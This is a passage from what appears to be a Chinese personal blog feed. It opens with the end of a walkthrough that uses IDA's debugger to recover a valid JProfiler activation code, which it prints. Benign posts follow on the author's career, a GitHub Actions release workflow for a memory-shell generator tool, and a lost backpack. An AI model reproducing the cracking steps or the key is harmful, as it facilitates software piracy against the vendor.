&lt;p&gt;首先运行我们的测试 ForLoop 代码。&lt;/p&gt;
&lt;p&gt;在 IDA 中选中 &lt;code&gt;Local Windows Debugger&lt;/code&gt; 这个调试器。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在 Debugger 中点击 Attach to process.. 选中我们的 ForLoop 打印出来的 PID 程序即可。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;等待它加载完成之后，会卡在这样一个奇怪的界面，需要我们手动点一下这个绿色按钮，进程才会正常运作下去。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我们开启 JProfiler 也同样注入到这个进程中去，程序就成功在这个 call 调用这儿停下来了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;接着我们去 strncmp 函数开头打个断点，方法就是 Ctrl+F 搜索 strncmp，随便点一个进去，双击 &lt;code&gt;call strncmp&lt;/code&gt; 的 strncmp 就进去了，然后按一下绿色的按钮让程序运行下去。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;运气真的很好，第一个 strncmp 的调用居然就是我们要找的，如果有超级多我都不知道会不会中途放弃了。&lt;/p&gt;
&lt;p&gt;我们的之前填的激活码是 &lt;code&gt;S-J15-ReaJason#999999-1jqjtz91lywcp9#70320&lt;/code&gt;，这儿的 rcx 刚好是我们的 &lt;code&gt;1jqjtz91lywcp9#70320&lt;/code&gt;，因此我们按照原文的替换一下然后再重新生成一下得到我们最终的结果：&lt;code&gt;S-J15-ReaJason#999999-pb3u8s3ugg83x#5242&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(idaapi.get_bytes(ida_dbg.get_reg_val(&quot;rcx&quot;), 100))

print(idaapi.get_bytes(ida_dbg.get_reg_val(&quot;rdx&quot;), 100))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后我们重新输入新的激活码，JProfiler 终于可以监控程序了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;因为很早以前就知道 IDA 很牛皮，但是一直不知道怎么用，这次也是借着大佬发布的比较详细的笔记分享实操了一波。虽然关于汇编什么的的，加密算法什么的一窍不通，但是最后也还是弄出来了，舒服，这篇也几乎算一篇 step by step 的文章，之后再玩这部分也有个可参考的笔记了。&lt;/p&gt;
</content:encoded></item><item><title>毕业三年以来</title><link>https://reajason.eu.org/writing/threeyearsofgraduation/</link><guid isPermaLink="true">https://reajason.eu.org/writing/threeyearsofgraduation/</guid><pubDate>Sun, 09 Mar 2025 07:30:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;最近一直在面试实习生，遥想起当时一路走来也不太容易。目前面试了七八个了，有一个面试者是一个本科大三学生比较迷茫，不知道自己做什么，问了我自己当时是如何找工作的，以及有什么建议之类的，虽然没面上但还是和他多交流了一下，讲了一下我学习与工作的经历，经验似乎只有一个，先想个办法入行。&lt;/p&gt;
&lt;p&gt;这两天把《葬送的芙莉连》刷完了，勇士辛美尔许多话，让我想起来从前的自己，希望别人记得我。大学刚开始做心理测评，测出来我就是一个想影响别人的人。高中时代成绩才有点起色，那个时候就特别喜欢帮助其他同学解决学习问题。到后来学习编程，会写小工具的时候也特别喜欢写 step by step 的小白教程，希望不太懂的也能受益。不过长大之后随着浏览到的信息源不断扩张，类似「成年人不要试图改变别人，祝福就行了」，慢慢地也不太喜欢和其他人做各种建议了。&lt;/p&gt;
&lt;p&gt;现在就业形式越来越严峻，我也没有什么好的建议，不过我有一点经历，虽然没有参考性。但我希望能缓解一下大家找工作的焦虑感，希望都能找到合适地工作（努力总会得到回报的）。&lt;/p&gt;
&lt;h2&gt;编程&lt;/h2&gt;
&lt;p&gt;以前的我，打开电脑只有一件事情就是英雄联盟启动，直到大三下学期我才开始真正接触编程。疫情时代 2020 年 3 月 不用去学校上学，全部改为网课形式，网课约等于没有，我就开始整天刷《老男孩 Python 全栈开发 29 期》学习 Python，前期真的是枯燥无味、毫无感觉，于是我开始找各种美女图网站学习爬虫（兴趣这不一下就来了），就这样轮流着，学一会儿基础知识，玩一会儿美女网站爬虫，终于我写出了 &lt;a href=&quot;https://github.com/ReaJason/WeiBo_SuperTopics&quot;&gt;WeiBo_SuperTopics&lt;/a&gt; 一个自动刷微博超话积分的小工具，我开始觉得自己似乎入门了，写代码也有点感觉了，于是就开始学习各种各样的计算机知识了，前端、数据库、Linux 操作系统等等。&lt;/p&gt;
&lt;h2&gt;考研&lt;/h2&gt;
&lt;p&gt;大三下学期我就敲定了考研的决定，原因比较简单：女朋友要考研，那我也要考。目标的话，当时网上搜索发现杭州电子大学挺好，而且杭州对程序员较为友好，就决定是它了。不过在学习数一、英一、408 的时候学崩溃了，加上期间经常把玩 Python 代码，写出了 &lt;a href=&quot;https://github.com/ReaJason/17wanxiaoCheckin&quot;&gt;17wanxiaoCheckin&lt;/a&gt; 一个完美校园自动健康打卡的脚本，而且还建了一个 qq 群，里面人数最高达到了 1000 多人，平时会在群里回答问题等等，收到过几份打赏，也是特别开心。至于考研越学越没劲了，后来基本就是陪女朋友去考研自习室学习，我就在旁边睡觉（或者研究 Python）。不出所料地我考研失败了，大失败，考了 200 多一点，我也没想太多，只想着找工作找工作，这种理论学习是一点都没干劲，我要实操，我要狠狠操作，兴趣正在高涨！&lt;/p&gt;
&lt;h2&gt;毕业季找工作&lt;/h2&gt;
&lt;p&gt;我有一个玩得好的朋友，我们天天一起兄弟 LOL，虽然我们是测绘专业，但是我们都是之后想搞计算机的，他编程接触比较早且对游戏感兴趣，但是我不知道我想要什么，我们就开始一起刷算法题一起投简历，后来他去了网易做游戏开发，我什么工作也找到。现在想起来，我毫无自信，过于害怕了，唯一简历过的一个游戏公司，笔试挂了，其他一概没有面试机会，后来也不敢投递简历了。我们测绘专业在土木工程学院，走专业里面的校招听同学们的经历是比较搞笑的，是男的就行，如果是女的还需要带一个男的，直接就有工作机会，不过基本都是搞施工的，我是一点兴趣都无。&lt;/p&gt;
&lt;h2&gt;第一份实习工作&lt;/h2&gt;
&lt;p&gt;因为快毕业，亲戚时常会问我之后什么打算。这份实习是我姑爸爸介绍给我的，他说他一个朋友是做计算机方面的。我当时找不到工作就联系了一下，姑爸爸给我推了简历，我记得当时面试我蹲在宿舍的厕所，屏幕对面老板问了一个网络七层模型分别是哪几个，就让我去工作了。地点在深圳的一个医院信息科里面，4k 块钱一个月，驻场工程师，负责解决客户的问题以及医院里面的一些琐事。&lt;/p&gt;
&lt;p&gt;大学谈恋爱的时候我女朋友经常说我妈宝男，没有主见，一放假就跑回去等等。这是我第一次独自出远门，租房子，工作，赚钱等等，工作了两个月我就记录了一篇博客 &lt;a href=&quot;/writing/bestrongerandbetter/&quot;&gt;梦想是注定孤独的旅行&lt;/a&gt;。工作和生活经历其实还是蛮丰富的，下面稍微列几个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;刚来的几周，每天晚上在出租屋里面哭，每天下班就是给家里人打电话，后来情绪稳定之后就少打电话了。&lt;/li&gt;
&lt;li&gt;从小一个人睡都不能关灯睡觉，关灯必做噩梦，为了省电，我秒克服了，可能也和工作劳累和住在二楼，一楼商铺开整晚的灯有关吧。&lt;/li&gt;
&lt;li&gt;有一个和我一起实习的，他工作经验比我多，不过他能力没我好，他实习完被裁了，我实习完跑了。&lt;/li&gt;
&lt;li&gt;我还被安排了一次奇幻的客户需求调研。去另外的医院一个一个科室询问他们的就诊流程以及目前的导诊手段。&lt;/li&gt;
&lt;li&gt;期间来了一个稍有经验的开发，我托他的福，公司给租房，省了一笔费用，不过他一周就跑路了，跑之前和我说最好不要干外包，和我当时处境一模一样，没有归属感，人走来走去的。&lt;/li&gt;
&lt;li&gt;偶尔还能接到医生的电话说他电脑有点卡，让我们帮忙看看，重做系统，当然护士小姐姐也有，有次还要教她们用最新的医保系统。&lt;/li&gt;
&lt;li&gt;技术经理和老板还有医院信息科主任都比较看好我，不过我学得并不快，加上琐事过多，我想去学习技术，我当时提前半个月发的离职通知，到了离开的时间直接跑的 (老板当时还想和我当面聊一聊)。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第二份实习工作&lt;/h2&gt;
&lt;p&gt;我叔叔在我实习期间也给我打过电话，说如果想做其他方面，在北京他有合作伙伴也是做程序方面的，想换工作就联系他，当我得知在医院这边没有太多学习机会我就联系了我的叔叔推了我的简历。面试约的是工作日下午，因为租房不远，我偷跑回去面试的。已经忘记面试问的题目了，不过似乎问的我什么都不会，但是对面 HR 和总监就只是反复强调，实习需要 6 个月并且只有 2k 的工资，我稍微犹豫了一下不过在这边攒了 8k 多，想想是稍微大点的公司不是外包就答应了。&lt;/p&gt;
&lt;p&gt;这六个月的实习我有了从 0.1 到 1 的突破，我真正入行了！转正的时候，我专门写了一篇学习过程，&lt;a href=&quot;/writing/whatcouldidowhenlearninghalfyearjavaandhtml/&quot;&gt;学了半年 Java 和前端基础，我能写出什么来&lt;/a&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;刚来北京找不到便宜的房子，在青旅住了几天，真是脏得一。&lt;/li&gt;
&lt;li&gt;北京的房价确实贵，同事带我跑到北京大兴老远的在村里租个开间都要 1100，在深圳城中村也才 1200&lt;/li&gt;
&lt;li&gt;线下 100 多的被子觉得太贵不知道怎么买，我妈帮我买的被子，没被子的几天直接穿着衣服睡了几天。&lt;/li&gt;
&lt;li&gt;和第一份实习一样，这次也有一个和我一起实习的，不过他是总监的侄子，不过都是找了关系差不多，不过他的学习能力没我好，实习过程中帮助他的过程中我也加深了很多知识点的学习。&lt;/li&gt;
&lt;li&gt;每天骑共享单车上下班，稳定一个小时的锻炼时间，大腿肌肉练出来终于到 120 斤了（现在也还稳定在）。&lt;/li&gt;
&lt;li&gt;之前一直通过视频学习编程知识，到后来发现书上的知识密度更大，第一次爱上看书，&lt;a href=&quot;/writing/2022annualgoals/&quot;&gt;2022 年度目标&lt;/a&gt; 其中就列了一些读书清单&lt;/li&gt;
&lt;li&gt;公司提供加班餐，所以每天晚上吃完加班餐，工作到 21 点才回家，而且有一段时间每天回去了还刷两个小时的网课，现在想想都不可思议。&lt;/li&gt;
&lt;li&gt;为了节省开支不得不的自己做饭，早上起来做饭带去公司中午吃，晚上吃公司的，能大大解决经济上的压力。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第一份正式工作&lt;/h2&gt;
&lt;p&gt;实习期间是不接触工作内容的，完全就是学习，转正之后我的工资也涨了，我终于能养活自己了，有 4k 一个月了。工作内容就是维护内部 OA 系统，不过我主要负责前端 Web 的调整和新业务的前后端开发。工作之后才知道了当兴趣变成了工作就索然无味了起来。但是编程的魅力就在于，它表现形式多样，工作写工作的，下班也还能写其他好玩的。&lt;/p&gt;
&lt;p&gt;工作之余也会学习，当时在 B 站看了一个在字节带队伍的大佬发的视频也是受益匪浅现在已经找不到了，他说了一个初期需要进入一个优秀的团队是最重要的，而我对我当时的现状是极其不满的，没有人教我，反而我需要一直帮另外一个和我一起转正的实习生解决问题，其他人都忙与枯燥地业务开发，项目也不健康，老是延期，压力较大。&lt;/p&gt;
&lt;p&gt;勤勤恳恳地工作了一年也没涨工资，直到我发现后续的工作内容过于枯燥无味决定放弃才知道能涨，但是只能涨一点点，当时还发了小红书吐槽帖，&lt;a href=&quot;https://www.xiaohongshu.com/explore/64425e520000000011010ca3?xsec_token=CBWsLNsDB8hN2rEq-9LonJCrTE_xojrNCmTmRTSEecOgQ=&quot;&gt;真的是给公司当了一年🐶&lt;/a&gt;，不过就是这个帖子让我找到了下一份工作。&lt;/p&gt;
&lt;p&gt;平时我会刷刷 Boss 直聘，发现外面很多职位都要求微服务经验。但我恰好不喜欢微服务—为什么我这个连单体项目都写不好的人，却要去学习微服务架构呢？我平时也经常看代码整洁之道，代码大全，重构，这种书，我认为编程这种手艺活，比起框架框架什么的好玩很多，因此我觉得 Java 业务开发这条道路是不太好走的，我需要探索另外一条道路。虽然我没探索到，但是网安的技术大佬看到我的小红书帖子直接给我抛了橄榄枝，而机会就是留给有准备的人，我直接就冲了，开启了我的网安赛道。&lt;/p&gt;
&lt;h2&gt;第二份工作&lt;/h2&gt;
&lt;p&gt;因为这份工作来之不易，我非常珍惜，我记录了面试经历 - &lt;a href=&quot;/writing/firsttechnicalinterview/&quot;&gt;记第一次技术面&lt;/a&gt;，第一周写了 &lt;a href=&quot;/writing/20230522weekly/&quot;&gt;周报&lt;/a&gt;，第一个月还写了 &lt;a href=&quot;/writing/202306monthly/&quot;&gt;月报&lt;/a&gt;，试用期三个月，我面试要的工资是 8k，看了 BOSS 直聘公司的薪资水准是 1w 多，但是我是新人没有筹码，完全是来学习的，而且 8k 相较于我上个工作已经翻倍，完全满足了。工作比较顺利，我刚干满两个月就提前转正了。而且转正之后就立马给我涨了工资！涨到了 1w，目前也成为了 Java RASP 核心开发成员了。&lt;/p&gt;
&lt;h2&gt;未完待续&lt;/h2&gt;
&lt;p&gt;不知道下一次找工作的经历会是什么样子的，不过想想，应该也会是一次独一无二的经历......&lt;/p&gt;
</content:encoded></item><item><title>GitHub Actions Auto Release</title><link>https://reajason.eu.org/writing/githubprojectrelease/</link><guid isPermaLink="true">https://reajason.eu.org/writing/githubprojectrelease/</guid><pubDate>Wed, 05 Mar 2025 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;目标&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;其实很多大的开源项目手动发布 Release 的，不过对于个人项目来说，弄一个自动发布的 CI 当然是事半功倍的事情。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;每次提交 TAG 的时候自动触发 Release CI 进行发布&lt;/li&gt;
&lt;li&gt;将 CHANGELOG 中以 TAG 版本号为开头的内容当作 GitHub Release 的详情&lt;/li&gt;
&lt;li&gt;后续可做的事情包括 Docker Push，Maven Publish，Update Deployment 等等&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;实操&lt;/h2&gt;
&lt;h3&gt;编写 CHANGELOG&lt;/h3&gt;
&lt;p&gt;在项目根目录创建一个 CHANGELOG.md 文件来记录日志，格式推荐参考 &lt;a href=&quot;https://keepachangelog.com/zh-CN/1.1.0/&quot;&gt;如何维护更新日志&lt;/a&gt;，也可以查看你喜欢的开源项目是如何组织 CHANGELOG 的，都可以学习和借鉴一下。以下是我做了一些修改：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;添加了 &lt;code&gt;@ReaJason&lt;/code&gt;，这个参考 &lt;a href=&quot;https://docs.github.com/zh/repositories/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release&quot;&gt;官方文档/创建发行版&lt;/a&gt; 第八点，当在 Release Body 里面 @ 某人时，会自动新增 Contributors 来展示贡献者的头像。&lt;/li&gt;
&lt;li&gt;Full Changelog 这一项在许多开源项目中都有，直接照抄&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01

### Added

- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面

### Changed

- 简化 Valve 内存马代码
- 升级 Gradle 8.13

**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;具体效果可以直接查看 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0&quot;&gt;MemShellParty Release v1.5.0&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;编写指定版本解析 CHANGELOG 脚本&lt;/h3&gt;
&lt;p&gt;这块有些项目直接使用 bash 脚本来完成，其实 GitHub Runner 里面自带 Python 环境，写写 Python 脚本来做也是蛮好的，直接问大模型要代码就可以了，以下是我生成的脚本：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果你想知道 Runner 里面还有自带其他什么环境，可直接在 &lt;a href=&quot;https://docs.github.com/zh/actions/writing-workflows/choosing-where-your-workflow-runs/choosing-the-runner-for-a-job#%E7%94%A8%E4%BA%8E%E5%85%AC%E5%85%B1%E5%AD%98%E5%82%A8%E5%BA%93%E7%9A%84-github-%E6%89%98%E7%AE%A1%E7%9A%84%E6%A0%87%E5%87%86%E8%BF%90%E8%A1%8C%E5%99%A8&quot;&gt;官方文档/用于公共存储库的 GitHub 托管的标准运行器&lt;/a&gt; 点击最右边的工作流标签跳到镜像构建的仓库就能看到了&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import argparse
import sys

if __name__ == &apos;__main__&apos;:
    capture = False
    result_lines = []
    parser = argparse.ArgumentParser(description=&quot;Extract changelog for a specific version&quot;)
    parser.add_argument(&quot;version&quot;, help=&quot;The version of the changelog to extract, e.g. &apos;v1.0.0&apos;&quot;)
    args = parser.parse_args()
    version = args.version
    # 这个需要指定脚本与 CHANGELOG 的相对路径，可能需要修改
    with open(&quot;../../CHANGELOG.md&quot;) as f:
        lines = f.readlines()
        for line in lines:
            if line.startswith(f&quot;## [{version}]&quot;):
                capture = True
            elif capture and line.startswith(&quot;## [&quot;):
                break
            elif capture:
                result_lines.append(line)
    if not result_lines:
        print(&quot;Specified version not found.&quot;, file=sys.stderr)
        sys.exit(1)
    print(&quot;&quot;.join(result_lines).strip())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用方式就是执行 &lt;code&gt;python parse_changelog_of_version.py v1.5.0&lt;/code&gt; 就能获取 1.5.0 版本相关的日志内容。
后续因为有小伙伴问我这个东西怎么运行不了，所以我修改了脚本，每次 Release Body 里面都添加运行步骤，参考如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import argparse
import sys

if __name__ == &apos;__main__&apos;:
    capture = False
    result_lines = []
    parser = argparse.ArgumentParser(description=&quot;Extract changelog for a specific version&quot;)
    parser.add_argument(&quot;version&quot;, help=&quot;The version of the changelog to extract, e.g. &apos;v1.0.0&apos;&quot;)
    args = parser.parse_args()
    version = args.version

    with open(&quot;../../CHANGELOG.md&quot;) as f:
        lines = f.readlines()
        for line in lines:
            if line.startswith(f&quot;## [{version}]&quot;):
                capture = True
            elif capture and line.startswith(&quot;## [&quot;):
                break
            elif capture:
                result_lines.append(line)
    if not result_lines:
        print(&quot;Specified version not found.&quot;, file=sys.stderr)
        sys.exit(1)
    result_lines.append(&quot;## 更新方式\n&quot;)
    result_lines.append(&quot;### Docker 部署\n&quot;)
    result_lines.append(&quot;```bash\n&quot;)
    result_lines.append(&quot;docker rm -f memshell-party\n\n&quot;)
    result_lines.append(&quot;docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n&quot;)
    result_lines.append(&quot;```\n&quot;)
    result_lines.append(&quot;### Jar 包启动\n&quot;)
    result_lines.append(&quot;&amp;gt; 仅支持 JDK17 及以上版本\n&quot;)
    result_lines.append(&quot;```bash\n&quot;)
    result_lines.append(f&quot;java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip(&apos;v&apos;)}.jar\n&quot;)
    result_lines.append(&quot;```\n&quot;)
    print(&quot;&quot;.join(result_lines).strip())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;编写 CI 脚本&lt;/h3&gt;
&lt;h4&gt;只有 push tag 的时候才触发&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;on:
  push:
    tags:
      - &apos;v*&apos; # tag 需要以 v 开头才会触发，例如 v1.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;解析 TAG 中的 version 以及 CHANGELOG&lt;/h4&gt;
&lt;p&gt;在部分构建过程中可能都需要能拿到当前版本信息，而版本信息在 TAG 里面，单独抽取出来一个 job 这样解析一次就可以了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info:
    name: Parse release info
    runs-on: ubuntu-latest
    outputs: # 暴露当前 job 解析出来的参数，供其他 job 使用
      version: ${{ steps.get_version.outputs.version }} # TAG，即 v1.0.0
      version-without-v: ${{ steps.get_version.outputs.version-without-v }} # 去掉 v 的版本，即 1.0.0
      changelog: ${{ steps.get_changelog.outputs.changelog }} # 解析出来的版本变更日志
    steps:
      - uses: actions/checkout@v4

      - name: Get Version # 参考 https://github.com/orgs/community/discussions/26686#discussioncomment-3252857
        id: get_version
        run: |
          VERSION=${GITHUB_REF#refs/tags/}
          VERSION_WITHOUT_V=${VERSION#v}
          echo &quot;version=$VERSION&quot; &amp;gt;&amp;gt; $GITHUB_OUTPUT
          echo &quot;version-without-v=$VERSION_WITHOUT_V&quot; &amp;gt;&amp;gt; $GITHUB_OUTPUT

      - name: Get ChangeLog
        id: get_changelog
        working-directory: .github/scripts # parse_changelog_of_version.py 脚本位置我放在了 .github/scripts 下
        # 此处参考 https://github.com/openai-translator/openai-translator/blob/c3bc4bb5de7404d597fe7cd6cea44941f1831bd3/.github/workflows/release.yaml#L28
        # 使用上面的 echo &quot;changelog=${}&quot; 不好使，可能是因为 markdown 格式里面有换行符之类的
        run: |
          echo &quot;changelog&amp;lt;&amp;lt;EOF&quot; &amp;gt;&amp;gt; $GITHUB_OUTPUT
          echo &quot;$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})&quot; &amp;gt;&amp;gt; $GITHUB_OUTPUT
          echo &quot;EOF&quot; &amp;gt;&amp;gt; $GITHUB_OUTPUT
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;构建应用并上传构建物&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;build-jar:
    name: Build Jar
    runs-on: ubuntu-latest
    needs: [ info ] # 在需要用到版本信息的，都需要去依赖前面的 info job
    steps:
      - uses: actions/checkout@v4

      - name: Setup Java
        uses: actions/setup-java@v4
        with:
          distribution: &apos;temurin&apos;
          java-version: 17

      - name: Setup Gradle
        uses: gradle/actions/setup-gradle@v4

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
          bun-version: latest

      - name: Build Web with Bun
        working-directory: web
        run: bun install --frozen-lockfile &amp;amp;&amp;amp; bun run build

      - name: Build Boot with Gradle
        run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test

      - name: Upload Boot Jar
        uses: actions/upload-artifact@v4
        with:
          name: boot
          path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;构建 Docker 多架构镜像并 Push&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;docker-push:
    name: Docker Push
    needs: [ info, build-jar ]
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Download Boot Jar
        uses: actions/download-artifact@v4
        with:
          name: boot
          path: boot/build/libs

      - name: Login to GitHub Container Registry
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.repository_owner }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          registry: docker.io
          username: ${{ vars.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up QEMU
        uses: docker/setup-qemu-action@v3
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Build and push
        uses: docker/build-push-action@v6
        with:
          context: boot
          platforms: linux/amd64,linux/arm64
          push: true
          tags: |
            docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
            docker.io/reajason/memshell-party:latest
            ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
            ghcr.io/reajason/memshell-party:latest
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;创建 GitHub Release&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;create-release:
    name: Create Release
    needs: [ info, docker-push ]
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4

      - name: Download Boot Jar
        uses: actions/download-artifact@v4 # 下载上一步的 jar 包，因为我希望用户能直接在 release 里面也能下载到 jar 包
        with:
          name: boot
          path: boot/build/libs

      - name: Calculate SHA-256
        id: calculate_sha256
        run: |
          sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar &amp;gt; boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256

      - name: Release
        uses: ncipollo/release-action@v1
        with:
          name: ${{ needs.info.outputs.version }}
          tag: ${{ needs.info.outputs.version }}
          body: ${{ needs.info.outputs.changelog }}
          artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;更新部署镜像&lt;/h4&gt;
&lt;p&gt;这个的话，看应用是如何部署的，如果部署在自己服务器可以通过 SSH 来重新部署，如果其他方式可能都有类似的 API 或 SDK 来实现，我这儿就是因为 northflank 官方的 Actions 年久失修，索性直接调 API 算了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deploy-northflank:
    name: Deploy to Northflank
    needs: [ docker-push ]
    runs-on: ubuntu-latest
    env:
        NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
    steps:
        - name: Update Deployment
        run: |
            curl --header &quot;Content-Type: application/json&quot; \
                --header &quot;Authorization: Bearer $NORTHFLANK_API_KEY&quot; \
                --request POST \
                --data &apos;{&quot;external&quot;:{&quot;imagePath&quot;:&quot;docker.io/reajason/memshell-party:latest&quot;,&quot;credentials&quot;:&quot;docker-hub&quot;},&quot;docker&quot;:{&quot;configType&quot;:&quot;default&quot;}}&apos; \
                https://api.northflank.com/v1/projects/memshellparty/services/memshellparty/deployment
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;完整示例&lt;/h4&gt;
&lt;p&gt;参考 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty/blob/master/.github/workflows/release.yaml&quot;&gt;MemShellParty/release.yaml&lt;/a&gt;，have fun 👋 ~&lt;/p&gt;
&lt;p&gt;By the way，写完可能会调试个十几次 CI，不过坚持就是胜利。&lt;/p&gt;
</content:encoded></item><item><title>地铁·书包·警察·锦旗</title><link>https://reajason.eu.org/writing/losemybackbag/</link><guid isPermaLink="true">https://reajason.eu.org/writing/losemybackbag/</guid><pubDate>Sat, 08 Feb 2025 23:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;书包就是因为玩手机没留意到站，突然意识到站了没来得及拿书包就拿着前面的两个行李跑出去了，还得意扬扬得心想还好没坐过站，嘿嘿嘿，我是 SB，书包忘拿了。&lt;/li&gt;
&lt;li&gt;这种事情是不可能第一时间和家里人说的，第一徒增描述经过的精力，也不想让他们空担心。&lt;/li&gt;
&lt;li&gt;我甚至在有一刻在想是不是要回长沙找工作了，不干了，直接辞职，刚好房子也快到期了。&lt;/li&gt;
&lt;li&gt;前面几天我都特别冷静，和派出所打电话描述，交流等场景都能冷静把事情描述好，但是贴了寻物启事，面对地铁派出所两次三番敷衍的答复，第三天晚上睡觉前狠狠哭了出来，撕心裂肺，无助，自责。&lt;/li&gt;
&lt;li&gt;这几天每天做梦，梦到自己在侦察办案，在查监控看谁是拿我书包的那个人，心神不定，每天在小红书上刷苹果设备丢失如何找到，如何找不到，是被偷的还是遗失的&lt;/li&gt;
&lt;li&gt;因为我是遗失，不是盗窃，警察叔叔也只是尽量帮我找监控看能不能找回。&lt;/li&gt;
&lt;li&gt;我做了我自认为能做的所有事情，报警，用电脑定位搜寻，敲门询问，张贴寻物启事，反复询问派出所民警进度，最后实在没有找到也是损失了几万块钱了（其实数据无价）。&lt;/li&gt;
&lt;li&gt;最后民警的信息和我的电脑位置信息，民警直接去人家里帮我拿回了我的书包，万幸。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;今年过年和以往不一样，回去的时候抢票候补失败，以往都补到了，网上很多说裁员离京人员很多，怎么票还是没有，不想当冤大头去买一等座选择了买飞机票飞回家了。每次回家外婆、奶奶、姨妈都是各种拿家里特产给我，这次也不例外，拿了很多玉米、腊肉、腊鱼、还有一些辣椒和干辣椒，拿了一个袋子巨重，不过还是提得起，行李的话就行李箱、一袋子菜和背包，回北京的时候也没抢到票，候补失败，买了高铁，但是只能买到一站而且买不到北京西只能买到天津西，上了车补票站了一路到了天津西，然后换乘天津西到北京西的高铁，并且租的房子在望京，坐地铁又是一个多小时，当时拿的东西很多，地铁上又很热，后半程才有座位坐，坐下之后我就把衣服解开然后书包脱了下来直接放在背后面，坐地铁也没事做就时不时刷刷手机就那种各种 app 点一下看看也没特别看什么，到站的时候也没太注意，等听到两声播报的时候才意识到到站了，因为有多次坐过站的经验就赶紧拿着前面的东西直接冲出去了，然后心想还好没坐过站，等出站的时候发现少了点东西，我就发现我的书包落在地铁上了！！！！&lt;/p&gt;
&lt;h2&gt;2 月 4 号&lt;/h2&gt;
&lt;p&gt;因为时常收到各种各样的帮助，我认为在北京地铁上落下一个书包是没什么大不了的事，我就立刻找到工作人员联系管控室说我丢书包的事情以及我书包的特征，当时的时间是晚上十点多，坐了一天的车，书包里面有租房的钥匙，我的苹果电脑、一部备用手机、一千多现金和奶奶带给我路上吃的鸡蛋还有其他一些常用的水杯、手套和充电线等等的。&lt;/p&gt;
